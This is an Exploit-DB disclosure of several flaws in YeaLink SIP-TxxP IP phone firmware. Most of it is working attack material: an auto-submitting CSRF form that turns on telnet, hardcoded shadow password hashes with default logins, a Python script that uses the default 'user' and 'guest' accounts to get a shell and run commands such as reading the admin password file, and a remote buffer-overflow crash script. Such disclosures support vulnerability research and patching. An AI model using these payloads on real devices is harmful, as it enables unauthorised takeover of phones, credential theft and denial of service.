Exploit-DB #23572
Description: YeaLink IP Phone SIP-TxxP Firmware 9.70.0.100 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2012-12-21
Author: xistence

Exploit:
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities
# Date              : 12-21-2012
# Author            : xistence (xistence<[AT]>0x90.nl)
# Software link     : http://yealink.com/SupportDownloadfiles_detail.aspx?ProductsID=64&CateID=187&flag=142
# Vendor site       : http://yealink.com
# Version           : 9.70.0.100 and lower
# Tested on         : YeaLink IP Phone SIP-T20P (hardware VoIP phone)
#
# Vulnerability     : Multiple Vulnerabilities as described below
#
#+--------------------------------------------------------------------------------------------------------------------------------+

[0x01] - Hidden page to enable telnet + CSRF

The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page.
However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user.

Also CSRF to enable this is possible:

<html>
<head>
<title>Enable Telnet</title> </head>
<body>
<form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post"> 
<input type="hidden" name="PAGEID" value="10"/>
<input type="hidden" name="CONFIG_DATA" value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/>
</form>
<script> document.csrf.submit(); </script>
</body>
</html>


[0x02] - Default telnet shell users + passwords

The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access could go unnoticed.

/etc/passwd:
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh

/etc/shadow:
root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest"

/etc/group:
root:x:0:admin,root
guest:x:1:guest

The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface.


[0x03] - Exploit

The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. Here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified.
An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface.


#!/usr/bin/python

import urllib, urllib2, getpass, sys, telnetlib

print ""
print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 hidden page telnet enabler + default guest shell account command execution - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print ""
if (len(sys.argv) != 3):
    print "[*] Usage: " + sys.argv[0] + " <IP of Phone> <command to execute>"
    print "[*] i.e.:" + sys.argv[0] + " 127.0.0.1 \"cat /tmp/.htpasswd\""
    print ""
    exit(0)

phoneIP = sys.argv[1]
shellCmd = sys.argv[2]

phoneUrl = 'http://%s/cgi-bin/ConfigManApp.com' % phoneIP
webUser = 'user'
webPass = 'user'
telnetUser = 'guest'
telnetPass = 'guest'

passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, phoneUrl, webUser, webPass)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
post_params = urllib.urlencode([("PAGEID", "10"), ("CONFIG_DATA", "1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260")])

print "[*] Enable telnet on [ %s ] by posting directly to the hidden page with PAGEID=10 parameter as unprivileged user [ user ]" % phoneUrl
pagehandle = urllib2.urlopen(phoneUrl, post_params)

print "[*] Making telnet connection to [ %s ] with default user [ %s ] and password [ %s ]" % ( phoneIP, telnetUser, telnetPass )
tn = telnetlib.Telnet(phoneIP)

tn.read_until("IPPHONE login: ")
tn.write(telnetUser + "\n")
if telnetPass:
    tn.read_until("Password: ")
    tn.write(telnetPass + "\n")

tn.read_until("$")
print "[*] Executing shell command [ %s ]" % shellCmd
tn.write( shellCmd + '\n' )
tn.read_until( shellCmd )
print tn.read_until("$").strip("$ ")
tn.write("exit\n")
tn.read_all()


[0x04] - Remote "/yealink/bin/macd" buffer overflow crash PoC

The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345"



#!/usr/bin/python
 
import socket,sys,time,struct
 
if len(sys.argv) < 2:
     print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
     print "[-] Usage: %s <target addr> " % sys.argv[0]
      
     sys.exit(0)
 
target = sys.argv[1]
 
if len(sys.argv) > 2:
     platform = sys.argv[2]
 
buffer = "\x41"*75 
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((target,12345))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)

print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print "[*] Sending " + `len(buffer)` + " byte crash"
 
s.send(buffer + "\r\n")
s.recv(1024)